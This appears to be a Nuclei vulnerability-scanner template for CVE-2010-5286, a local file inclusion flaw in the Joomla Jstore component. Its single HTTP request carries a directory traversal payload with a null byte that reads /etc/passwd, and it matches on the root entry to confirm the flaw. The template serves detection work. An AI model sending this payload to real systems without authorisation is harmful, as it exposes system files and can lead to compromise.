id: CVE-2010-5286

info:
  name: Joomla! Component Jstore - 'Controller' Local File Inclusion
  author: daffainfo
  severity: critical
  description: A directory traversal vulnerability in Jstore (com_jstore) component for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Arbitrary file inclusion leading to remote code execution
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34837
    - https://nvd.nist.gov/vuln/detail/CVE-2010-5286
    - http://packetstormsecurity.org/1010-exploits/joomlajstore-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C
    cvss-score: 10
    cve-id: CVE-2010-5286
    cwe-id: CWE-22
    epss-score: 0.11382
    epss-percentile: 0.95436
    cpe: cpe:2.3:a:joobi:com_jstore:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joobi
    product: com_jstore
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,joobi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009eff48c025e8afccf295731546a081d65ba7ee81741bc6aa4ece73d26b741d90022015649f74fba3aca7df6a847ffeb57b19e6e9004605b74471ea1beb61bb44fc80:922c64590222798bb761d5b6d8e72950